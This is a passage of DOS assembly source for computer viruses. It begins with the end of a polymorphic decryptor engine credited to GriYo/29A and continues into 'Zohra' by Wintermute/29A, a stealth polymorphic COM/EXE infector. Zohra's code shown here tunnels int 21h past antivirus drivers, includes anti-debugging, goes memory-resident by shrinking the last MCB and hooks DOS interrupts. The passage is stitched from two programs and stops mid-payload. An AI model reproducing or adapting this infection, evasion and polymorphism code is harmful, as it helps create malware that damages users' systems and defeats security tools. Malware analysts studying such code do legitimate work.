jne not_exclude_bx

;Check if push bx
cmp al,53h
je do_push_pop

;Check if pop bx
cmp ah,5Bh
je do_push_pop
not_exclude_bx:
stosw
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a mov reg,mem or mov mem,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

mov_with_mem:
;Get memory prefix
call get_seg_reg
stosb

;Get reg ( from or to mem and 8 or 16 bits )


call rand_16
and ax,3803h

;Or it with addr mode imm 16 and make it mov


or ax,0688h
test al,01h
jnz do_16_bit

;Check if reg is al
cmp ah,06h
jz make_to_mem
jmp all_clear_for_mem
do_16_bit:
;Get a valid 16bit reg
and ah,1Eh

;Check if reg is ax
cmp ah,06h
jnz all_clear_for_mem
make_to_mem:
;Make to mem
and al,0FDh

all_clear_for_mem:

stosw

;Get size of buffer for mem operations


mov ax,inf_byte_size
call rand_in_range
add ax,word ptr cs:[mem_base][bp]
stosw
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get a math instruction from / to mem ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

make_math_with_mem:

;Generate a mov reg,mem or mov mem.reg


call mov_with_mem

;Perform transformation
push di
sub di,04h
mov al,byte ptr es:[di]

;Preserve address mode info


and al,03h
push ax
call get_rnd

;Get a math opcode


and al,38h
pop bx

;Set address mode bits


or al,bl
stosb

;Restore pointer
pop di
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a random int 21h call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_int_21h:
call get_rnd

;Choose within ah,function or ax,function+subfunction


and al,01h
jz do_int_ax
do_int_ah:
mov ax,end_ah_table-ah_table
call rand_in_range
add ax,bp
mov bx,ax
mov ah,byte ptr cs:[ah_table+bx]

;Do not generate same int's in a row


cmp ah,byte ptr cs:[last_int_type][bp]
jz do_int_ah

;Generate mov ah,function


mov byte ptr cs:[last_int_type][bp],ah
mov al,0B4h
stosw

;Generate int 21h


mov ax,021CDh
stosw
ret
do_int_ax:
mov ax,(end_ax_table-ax_table)/2
call rand_in_range
add ax,ax
add ax,bp
mov bx,ax
mov ax,word ptr cs:[ax_table+bx]

;Do not generate same int's in a row


cmp ah,byte ptr cs:[last_int_type][bp]
jz do_int_ax
mov byte ptr cs:[last_int_type][bp],ah

;Generate mov ax,function


mov byte ptr es:[di],0B8h
inc di
stosw

;Generate int 21h


mov ax,021CDh
stosw
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a do-nothing int call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

do_fake_int:
mov ax,offset fake_int_end-offset fake_int_table
call rand_in_range
mov bx,ax
add bx,bp
mov ah,byte ptr ds:[fake_int_table+bx]
mov al,0CDh
stosw
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Polymorphic generator data buffer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

ah_table:
;Int 21h garbage functions ( function number in ah )
db 00Bh ;Read entry state
db 019h ;Get current drive
db 02Ah ;Get current date
db 02Ch ;Get current time
db 030h ;Get dos version number
db 04Dh ;Get error code
db 051h ;Get active psp
db 062h ;Get active psp
end_ah_table:

ax_table:
;Int 21h garbage functions ( function number in ax )
dw 3300h ;Get break-flag
dw 3700h ;Get line-command separator
dw 5800h ;Get mem concept
dw 5802h ;Get umb insert
end_ax_table:

bytes_2:
;Push and pop pairs
push ax
pop dx
push ax
pop bx
push ax
pop cx
push bx
pop dx
push bx
pop cx
push cx
pop bx
push cx
pop dx
end_bytes_2:

step_table:
;Steps table
dw offset do_subroutine
dw offset do_call_garbage
dw offset g_generator
dw offset do_branch
dw offset sub_decryptor
dw offset next_decryptor
dw offset do_push_g_pop
end_step_table:

instruction_table:

;Polymorphic decryptor table


dw offset inst_load_counter
dw offset inst_load_pointer
dw offset inst_decrypt_one
dw offset inst_inc_pointer
dw offset inst_dec_loop

end_inst_table:

op_table:
;Address of op-code generator routines
dw offset move_with_reg
dw offset move_imm
dw offset mov_with_mem
dw offset make_math_with_mem
dw offset reg_exchange
dw offset do_push_pop
dw offset do_int_21h
dw offset do_fake_int
end_op_table:

one_byte_table:
;One byte instructions for .sys decryptor
aaa
aas
cbw
clc
cld
cmc
cwd
daa
das
dec ax
dec cx
dec dx
dec bp
inc ax
inc cx
inc dx
inc bp
int 03h
nop
stc
std

end_byte_table:

fake_int_table:
;Do-nothing ints
db 01h
db 1Ch
db 08h
db 0Ah
db 0Bh
db 0Ch
db 0Dh
db 0Eh
db 0Fh
db 28h
db 2Bh
db 2Ch
db 2Dh
db 70h
db 71h
db 72h
db 73h
db 74h
db 76h
db 77h
fake_int_end:

decrypt_table:
;Opcode table for add/sub/xor byte ptr seg:[di+displ],reg
db 2Ah,00h ;Add / sub
db 02h,28h ;Sub / add
db 32h,30h ;Xor / xor

end_decrypt_table:
fast_table:
;Opcode table for add/sub/xor byte ptr seg:[di+displ],key
db 45h,2Ah ;Add / sub
db 6Dh,02h ;Sub / add
db 75h,32h ;Xor / xor
end_fast_table:

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus buffers ( inserted into infections ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

;Text for payload subroutine


txt_credits_1 db "<<< SuckSexee Automated Intruder >>>",00h
txt_credits_2 db "Viral Implant Bio-Coded by GriYo/29A",00h

;Ddpt that enables the extra track


floppy5_25 db 0DFh,02h,25h,02h,0Fh,1Bh,0FFh,54h,0F6h,0Fh,08h
floppy3_5 db 0DFh,02h,25h,02h,12h,1Bh,0FFh,6Ch,0F6h,0Fh,08h

;Format table for a extra track in floppy


format_table db 50h,00h,01h,02h ;Track 50h sector 01h
db 50h,00h,02h,02h ;Track 50h sector 02h
db 50h,00h,03h,02h ;Track 50h sector 03h
db 50h,00h,04h,02h ;Track 50h sector 04h
db 50h,00h,05h,02h ;Track 50h sector 05h
db 50h,00h,06h,02h ;Track 50h sector 06h
db 50h,00h,07h,02h ;Track 50h sector 07h
db 50h,00h,08h,02h ;Track 50h sector 08h
db 50h,00h,09h,02h ;Track 50h sector 09h
db 50h,00h,0Ah,02h ;Track 50h sector 0Ah
db 50h,00h,0Bh,02h ;Track 50h sector 0Bh
db 50h,00h,0Ch,02h ;Track 50h sector 0Ch
db 50h,00h,0Dh,02h ;Track 50h sector 0Dh
db 50h,00h,0Eh,02h ;Track 50h sector 0Eh
db 50h,00h,0Fh,02h ;Track 50h sector 0Fh

;Command line parameters for win.com


win_param_string db " /d:f",0Dh

;Command line parameters for tbscan.exe


tbscan_param_string db " co nm",0Dh

;Old file header


old_header db file_header_size dup (00h)

;Decryptor key
clave_crypt db 00h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus data buffer (not inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

virus_data_buffer:
;Old interrupt vectors

old03h equ this dword


old03h_off dw 0000h
old03h_seg dw 0000h

old12h equ this dword


old12h_off dw 0000h
old12h_seg dw 0000h
old13h equ this dword
old13h_off dw 0000h
old13h_seg dw 0000h

old1Ch equ this dword


old1Ch_off dw 0000h
old1Ch_seg dw 0000h

old1Eh equ this dword


old1Eh_off dw 0000h
old1Eh_seg dw 0000h

old21h equ this dword


old21h_off dw 0000h
old21h_seg dw 0000h

org21h equ this dword


org21h_off dw 0000h
org21h_seg dw 0000h

old24h equ this dword


old24h_off dw 0000h
old24h_seg dw 0000h

old40h equ this dword


old40h_off dw 0000h
old40h_seg dw 0000h

;Misc data

read_ptr equ this dword


read_off dw 0000h
read_seg dw 0000h

poly_working_ptr equ this dword


poly_working_off dw 0000h
poly_working_seg dw 0000h

dos_function dw 0000h
file_offset dw 0000h
ret_off dw 0000h
virus_timer dw 0000h
hd_write_words dw 0000h
hd_write_cl db 00h
hd_write_al db 00h
dos_flag db 00h
running_sw db 00h
stealth_sw db 00h
file_infection_flag db 00h

;Polymorphic decryptor data


poly_data:
last_fill_type dw 0000h ;+00h
last_step_type dw 0000h ;+02h
last_subroutine dw 0000h ;+04h
decrypt_sub dw 0000h ;+06h
address_loop dw 0000h ;+08h
last_int_type db 00h ;+0Ah
decrypt_pointer db 00h ;+0Bh
address_register db 00h ;+0Ch
decrypt_register db 00h ;+0Dh
address_seg_1 db 00h ;+0Eh
address_seg_2 db 00h ;+0Fh
rnd_pointer dw 0000h ;+10h
mem_base dw 0000h ;+12h
displ_si_di db 00h ;+14h
decrypt_seq db 00h ;+15h

;Buffer for filename of executed program


execute_filename db 80h dup (00h)

;Buffer for file stealth and infection routines


file_buffer db file_header_size dup (00h)
virus_copy db 00h
virus_end_buffer:

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Done :P ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

launcher ends
end virus_entry
;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²² . .: .:.. :.. .. .:.::. :. ..: ²±
; ² Virus: Zohra <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< ²±
; ² Writer: Wintermute/29A .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. ²±
; ² Size: 4004+512 (decryptor) . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ²±
; ² Origin: Madrid, Spain ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. ²±
; ² Finished: April/1997 >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> ²±
; ² . .:.. ..:. .: ..:.::. ::.. :.: ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
; Features
; ÄÄÄÄÄÄÄÄÄÄ
;
; Zohra is a slow polymorphic Com/Exe infector that uses Sfts
; to perform its infection. It's double encrypted and gets resident by
; MCB method, reducing the last MCB's size without having to create a new
; one for itself. Also has an encryption routine ( the non-polymorphic
; one ) based on the UUencode system that consists on changing the first
; bit of each byte of the zone to encrypt to 1 and storing it in a buffer
; whose bytes have also a 1 in their most significative bit for being
; restored later; err, ok, it's well explained in the text. The polymorphic
; engine consists on some instructions and routine generators and other
; routines that change the decryption routine randomly ( see the engine ).
;
; Also tunnels the int 21h using a code analyzer ( The Tourniquet Kode
; Analyzer ), which can pass through Tbdriver, Virstop, Vshield, etc. Also,
; it has Fcb/Dta/Mcb/Time/"Half-Sft" stealth, and some good retro
; ( anti-antivirus ) that I let you discover by watching the code and
; comments ;-)
;
; The payload, a video effect ( non-destructive ), activates on 14th
; of april ( the Spanish Second Republic aniversary ) when any file is
; executed. It will not be possible to execute it from within the article
; reader by pressing "G" due to incompatibility reasons.
;
;
; Greetings in this virus go to ORP, who brought me valuable
; information about UUencode, and above all to my necromancer, my wizard
; 'Zohra', the best of the Forgotten Realms ;)
;
; Also greetings to all the 29A, to Marylin Manson, congratulations
; for 'The Roots of Sepultura', greetings to all my friends, to my BBS,
; to my cat, to Ch‚ Guevara, to Tupac Amaru, and to underpants of the
; good luck.
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; El viento revuelve s£bitamente las hojas que el oto¤o
; tan cuidadosamente hab¡a depositado en el suelo,
; formando un precioso mosaico de tonos ocres.
;
; El sol a£n atisba t¡midamente por encima del horizonte
; recortado por las cruces y las l pidas, y si aguzas el o¡do,
; podr s sentir a los muertos gemir y susurrar los epitafios
; que nunca fueron grabados en piedra.
;
; La tristeza es un sentimiento de los vivos,
; la soledad una debilidad de los que rezan por no estar solos,
; la fe no sirve a los que no mueren, la muerte eres t£,
; y en tu cripta no hay oscuridad, no hace fr¡o y no est s solo
; porque en tu cripta el oto¤o se ha dejado su manto decadente y desconsolado
; para toda la eternidad.
;
; Su manto te protege...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( Gerard Casamayor )
;
;
; TASM /M2 ZOHRA.ASM
; TLINK ZOHRA.OBJ
;

.286
HOSTSEG segment BYTE ; Host program for the first generation
ASSUME CS:HOSTSEG, SS:CODIGO

Host:

mov ax,4c00h
int 21h

ends

CODIGO segment
ASSUME CS:CODIGO, DS:CODIGO, ES:CODIGO
org 00h

virus_size equ virus_end-virus_start


encrypt_size equ encrypt_end-encrypt_start

Comienzo:

virus_start label byte

push es ds
push cs cs
pop ds es

call fuera_desencriptado

encriptado equ encrypt_end-encrypt_start


encrypt_start label byte

continuemos:

mov si,29Ah ; Mapoulas PAUER ! ;)


mov ax,0db15h
int 21h
cmp si,29A0h
jnz tunneling
jmp ya_instalado

;**************************
; THE TOURNIQUET KODE ANALYZER
; ---------------------------------

tunneling:

xor ax,ax ; Gets int21h handler


mov ds,ax
lds si,ds:[0084h]
mov word ptr cs:[int21h+bp],si
mov word ptr cs:[int21h+bp+2],ds
mov ax,ds
cmp ax,300h ; If it belongs to Dos, we go and
ja analizar ;install
jmp tunnel_hecho

analizar:
lodsb ; Looks for a byte in ds:si ( where
cmp al,41h ;the int21h points ), and in the
ja @@mayor_40 ;following code identifies the
and al,00001111b ;instruction, adding it's size to di
;and continuing the identification.
; Group < 40h
cmp al,3h
ja @@nointvar
@@ii: jmp @variable_instruction
@@nointvar:
cmp al,5h ;This first byte of the place pointed
jb @bytes_2 ;by ds:si is going to tell us in
jz @bytes_3 ;the majority of cases it's length,
cmp al,8h ;if it's a jmp far, call far, an
jb @bytes_1 ;invalid opcode ( for 8086 ), etc
jz @@ii
cmp al,0ch
jb @variable_instruction ; Some instructions don't
jz @bytes_2 ;have a fixed length gived by their
cmp al,0dh ;first byte, so we'll have to see
jz @bytes_3 ;more of them: this, in @variable...
ja @bytes_1

; Group > 40h


@@mayor_40:
cmp al,60h ; From 40h to 6fh
jb @bytes_1
cmp al,70h
jnb @@mayor6f
jmp @invalida
; > 6fh
@@mayor6f:
cmp al,80h
jb @conditional_jmps ; Conditional jump opcodes
; Mayores a 7fh
cmp al,81h
jb @variable_instruction_1
jz @variable_instruction_2
cmp al,84h
jb @variable_instruction_1
cmp al,8fh
jbe @variable_instruction
; A partir de 90h
cmp al,09ah
jb @bytes_1
jnz @@@@@@
mov cx,0ffffh
jmp @posible_salto ; A far call.
@@@@@@:
cmp al,0a0h
jb @bytes_1
; From 0a0h
cmp al,0a4h
jb @bytes_3
cmp al,0b0h
jb @bytes_1
cmp al,0b8h
jb @bytes_2
cmp al,0c0h
jb @bytes_3
cmp al,0c3h
jbe @invalida ; We take ret as invalid instruction, as
;we'll ignore any call that is made: won't
;every call return to the same place ?
; From 0c4h
jmp @desdec4

@conditional_jmps: ; jz, jnz, ja...


mov cx,5
@comparar:
cmp si,word ptr cs:[cond_place]
inc bx ; We look if we made this jmp just before
inc bx
jz @lo_hacemos ; If we've got Si, we have been there:
loop @comparar ;we make the conditional jump.
mov bx,word ptr cs:[cond_flag]
mov word ptr cs:[cond_place],si ; If not, we keep SI,
inc si ; the execution jump, to jump the next
jmp analizar ;time we pass through there ( to avoid
;something like [cmp ax,bx-jz xxx-jmp
;compare], that would hang the computer
@lo_hacemos: ;beeing an infinite loop
jmp @jmpshort
@bytes_3:
inc si
@bytes_2:
inc si
@bytes_1:
jmp analizar

@invalida: ; Iret or invalid instruccion found: we don't


jmp ya_instalado ;install.

@variable_instruction_2: ; How this variable instructions work


lodsb ;is explained on the table at the end
inc si ;of the code analyzer
inc si
jmp @@@instvar2
@variable_instruction_1:
lodsb
inc si
jmp @@@instvar2
@variable_instruction:
lodsb
@@@instvar2:
cmp al,40h
jnb @@@may_40
and al,00001111b
cmp al,0eh
jz @@variosmas
cmp al,06h
jnz @@variosmas
jmp analizar
@@variosmas:
inc si
inc si
jmp analizar
@@@may_40:
cmp al,80h
jnb @@@may_80
inc si
jmp analizar
@@@may_80:
cmp al,057h
jnb @bytes_1
inc si
inc si
jmp analizar

@desdec4:

cmp al,0c6h
jb @variable_instruction
jz @variable_instruction_1
cmp al,0c7h
jz @variable_instruction_2
cmp al,0cah
jb @invalida
jz @bytes_3
cmp al,0cch
jb @invalida ; We'll also take a retf as invalid
jz @bytes_1
cmp al,0ceh
jb @bytes_2
jz @bytes_1
cmp al,0cfh
jz @invalida ; Iret, we return from interrupt.
; From 0d0h
cmp al,0d4h
jb @variable_instruction
cmp al,0d6h
jb @bytes_2
jz @invalida
cmp al,0d7h
jz @bytes_1
cmp al,0e0h
jb @variable_instruction
cmp al,0e8h
jb @bytes_2
jz @bytes_3 ; Near call: we ignore it
cmp al,0eah
jb @jmpnext
jz @posible_salto ; Jmp far
cmp al,0ebh
jz @jmpshort
cmp al,0f1h
jb @go_bytes_1
jz @invalida
cmp al,0feh
jb @go_bytes_1

lodsb ; If a jmp with a register ( jmp Si, for


cmp al,20h ;example ) is made, we go withouth
jb @valida_ff ;installing: we can't emulate it because
cmp al,2fh ;we don't know the registers
ja @valida_ff
jmp ya_instalado
@valida_ff:
jmp @@@instvar2

@go_bytes_1:
jmp @bytes_1
@jmpshort: ; Near jump, the nearest 80 bytes up or down:
lodsb ;we check, and make it.
xor ah,ah
cmp al,80h
jb @addit
neg al ; If it's a jmp to previous code
sub si,ax
jmp analizar

@jmpnext: ; 3 bytes
lodsw
@addit:
add si,ax ; Next jmps are coded E9 XX YY; distance
jmp analizar ;is = current+3+YYXX

@posible_salto: ; Jump to int21h in the code; found a far call/jmp


les dx,ds:[si] ;that leads us to Dos code
mov ax,es
cmp ax,300h
ja @nomemola
mov word ptr cs:[int21h+bp],dx
mov word ptr cs:[int21h+bp+2],es
jmp tunnel_hecho
@nomemola:
inc cx ; If not, we make the jmp in case
jz @passo ;it's a jmp and not a call, and
push es dx ;continue analyzing
pop si ds
jmp analizar
@passo:
add si,4
jmp analizar

cond_flag:
db 0
cond_place:
dw 0

; ****************************************************************************
; OPCODE TABLE
; ----------------------------------------------------------------------------
;
; This table is which I made for myself with the 8086 opcodes: I suppose it
; will make easier the code analyzer understanding, and maybe it also will
; be of use to someone...
;
; Length of instructions that can be coded by the Pc ( 8086 )
; -----------------------------------------------------------
;
; Those that have special importance for the Code Analyzer ( rets, calls and
; jumps ) are signaled. The others are normal instructions of the computer set.
;
; Sometimes in "first byte" I include some opcodes; this means that in all
; that range the byte conditions and length are the same. Length indicates
; how much the instruccion size is ( each interrogation means half byte, two
; hexadecimal figures ):
;
; ****************************************************************************
; Each 7h bytes the same list is repeated, I mean, the bytes size will be
; the same at positions 01h, 09h, 10h, 19h, 20h, 29h, 30h and 39h. When
; getting to 40h it changes:
;
; 0 <= Y < 40h
;
; Y can take any value between them
;
; 1st byte 2nd byte next length
;
; Y0h-Y3h * Variable instruction
;
; Y4h ?? - 2 bytes
;
; Y5h ?? ?? 3 bytes
;
; Y6h-Y7h - - 1 byte
;
; Y8h-Ybh * Variable instruction
;
; Ych ?? - 2 bytes
;
; Ydh ?? ?? 3 bytes
;
; Yeh-Yfh - - 1 byte
;
;
; Next part: All are one byte instructiones, between 40h and 6fh. Although,
; instructions between 60h and 6fh ( included ) are invalid.
;
; 40h-6fh - - 1 byte
;
; Part three: Conditional jumps, starting from 70h to 7fh
;
; 70h-7fh - - 2 bytes
;
; Now, a group of different instructions:
;
; 80h,82h,83h * Variable instruction ( +1 )
;
; 81h * Variable instruction ( +2 )
;
; 84h-8fh * Variable instruction
;
; Between 90h and 99h there are more one byte instructions, except in 9Ah;
; this opcode is the "call far" instruction.
;
; 90h-99h - - 1 byte
;
; 9ah ?? ?? ?? ?? 4 bytes
;
; 9bh-9fh - - 1 byte
;
; New list, we start from 0a0h
;
; 0a0h-0a3h ?? ?? 3 bytes
;
; 0a4h-0afh - - 1 byte
;
; 0b0h-0b7h ?? - 2 bytes
;
; 0b8h-0bfh ?? ?? 3 bytes
;
; 0c0h-0c1h Invalid
;
; This is a ret [immed]
;
; 0c2h ?? ?? 3 bytes
;
; Ret
;
; 0c3h - - 1 byte
;
;
; 0c4h,0c5h * Variable instruction
;
; 0c6h * Variable instruction ( +1 )
;
; 0c7h * Variable instruction ( +2 )
;
; 0c8h-0c9h Invalid
;
; Return far [inmed]
;
; 0cah ?? ?? 3 bytes
;
; Return far
;
; 0cbh - - 1 byte
;
; 0cch - - 1 byte
;
; 0cdh ?? - 2 bytes
;
; 0ceh - - 1 byte
;
; ( Interrup Return )
;
; 0cfh - - 1 byte
;
; 0d0h-0d3h * Variable instruction
;
; 0d4h-0d5h ?? - 2 bytes
;
; 0d6h Invalid
;
; 0d7h - - 1 byte
;
; 0d8h-0dfh * Variable instruction
;
; 0e0h-0e7h ?? - 2 bytes
;
; Call
;
; 0e8h ?? ?? 3 bytes
;
; jmp next
;
; 0e9h ?? ?? 3 bytes
;
; jmp far
;
; 0eah ?? ?? ?? ?? 5 bytes
;
; jmp short
;
; 0ebh ?? - 2 bytes
;
; 0ech-0f0h - - 1 byte
;
; 0f1h Invalid
;
; 0f2h-0fdh - - 1 byte
;
;
; 0feh-0ffh * Variable instruction
;
; ***************************************************************************
; ---------------------------------------------------------------------------
;
; * Variable instruction ( those which values change depending on the second
; byte )
;
; A (+1) or a (+2) tells the number of bytes to add to the number of bytes
; shown at the column on the right. The values on the left belong to the
; second byte red
;
;
; If it's < 40h
;
; XEh o X6h ?? ?? 4 bytes
; <>XEh & <>X6h - 2 bytes
;
; If 3fh < x < 80h
;
; ?? ?? 3 bytes
;
; If 7fh < x < c0h
;
; ?? ?? 4 bytes
;
; If 0bfh < x
;
; ?? - 2 bytes
;
;
; *************************** END OF TUNNELING ****************************

regs2zero:
xor ax,ax ; Zero registers
mov bx,ax
mov cx,ax
cwd
mov si,ax
ret

tunnel_hecho:
push cs
pop ds

ant_debug:
push ax ; Anti-debugging routine
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz @getmcb
mov ax,4c00h
int 21h

@getmcb:
call get_z_mcb ; We take the last Mcb
el_ultimo:
pop dx
push dx
cmp word ptr es:[1],0h ; Is it free ?
jz parlante ; If not...
cmp word ptr es:[1],dx ; Or with active Psp ?
jne ya_instalado
parlante:
cmp word ptr es:[3],(((virus_size+15)/16)*2)+24h
jb ya_instalado ; Enough size ?

mov bx,word ptr es:[3]


sub bx,(((virus_size+15)/16)*2)+23h;512 bytes of poly
mov es:[3],bx ; Mcb Z new size
add di,bx
inc di ; We point to the program
mov es,di
push di
xor di,di
mov si,bp
push di si
mov cx,virus_size
push cx
rep movsb ; We copy the virus in memory
pop cx si
add di,201h ; Re-copy ( 256 bytes ahead )
rep movsb

pop di ; We copy the decryptor instructions to


lea si,[instr_start+bp] ; keep the originals safe against
mov cx,instrsize ; our own changes.
rep movsb

xor ax,ax
mov es,ax
pop ax
push ax
sub ax,100h ; We reduce 100h bytes the
cli ;segment and augments 1000h
mov word ptr es:[0086h],ax ;bytes the offset with the
lea dx,handler_int_21 ;objective that is explained
add dx,1000h ;at the Int21h handler
mov word ptr es:[0084h],dx ;( confuse the advanced user )
sti

installed:
xor bp,bp ; We continue the execution in
push offset ya_instalado ;memory
retf

ya_instalado:
pop ds es

mov ax,ds ; Is stack segment same as code


mov bx,ss ;segment ?
cmp ax,bx ; If it is, we've infected a Com
jz restaura_com ;file

mov si,ds ; We restore the stack


add si,cs:word ptr [ss_sp+bp]
add si,10h
cli
mov ss,si
mov sp,cs:word ptr [ss_sp+bp+2]
sti

mov si,ds ; And now we jump pushing


add si,cs:word ptr [cs_ip+bp+2] ; and with a retf to the
add si,10h ; old beggining of the host
push si
push cs:word ptr [cs_ip+bp]

call regs2zero

retf ; Here has happened nothin !

restaura_com:
push cs
pop ds
push es
mov di,100h ; Restores the header ( three
push di ;first bytes ) if it's a Com.
lea si,bp+header
movsw
movsb

call regs2zero
push es
pop ds

retf

get_z_mcb:
mov ah,52h ; We obtain the List of Lists
int 21h
mov di,es:[bx-2]
mov es,di
loop_da_mcb:
cmp byte ptr es:[0],'Z' ; Search for Mcb 'Z'
jnz @sigue_findin
ret
@sigue_findin: add di,es:[3] ; Mcb Z segment is in ES
inc di
mov es,di
jmp Loop_da_mcb

call_flag: dw 0
infected_flag: db 0
push_all_regs: cli ; Pushes all registers
pop cs:word ptr [call_flag] ;
pushf
push ax bx cx dx di si ds es bp
push cs:word ptr [call_flag]
sti
ret

pop_all_regs: cli ; Restores all registers


pop cs:word ptr [call_flag]
pop bp es ds si di dx cx bx ax
popf
push cs:word ptr [call_flag]
sti
ret
;****************************************************************************
; PAYLOAD
;----------------------------------------------------------------------------
;
; Non destructive, it activates the aniversary of the spanish Second
; Republic proclamation ( day 14th of april ), showing some video effects
; to the user and printing the virus message.
;

payload:

mov ax,0b800h ; Where the text page is


mov ds,ax ; On Ds
mov bx,0100h*8h
loop_segundo:
mov cx,(80*25*2)
loop_it:
dec cx
mov si,cx

add word ptr ds:[si-1],4h ; We add 4h to each character


loop loop_it ;of the screen to change it,
dec bx ;it's color...
jnz loop_segundo

mov bx,80*25*2
xor si,si
loop_decrem:
mov word ptr ds:[bx],0 ; Now, the screan cleaning
mov word ptr ds:[bx-2],0 ;effect
mov word ptr ds:[si],0
mov word ptr ds:[si+2],0

push ax dx ; Delay for the cleaning: waits the


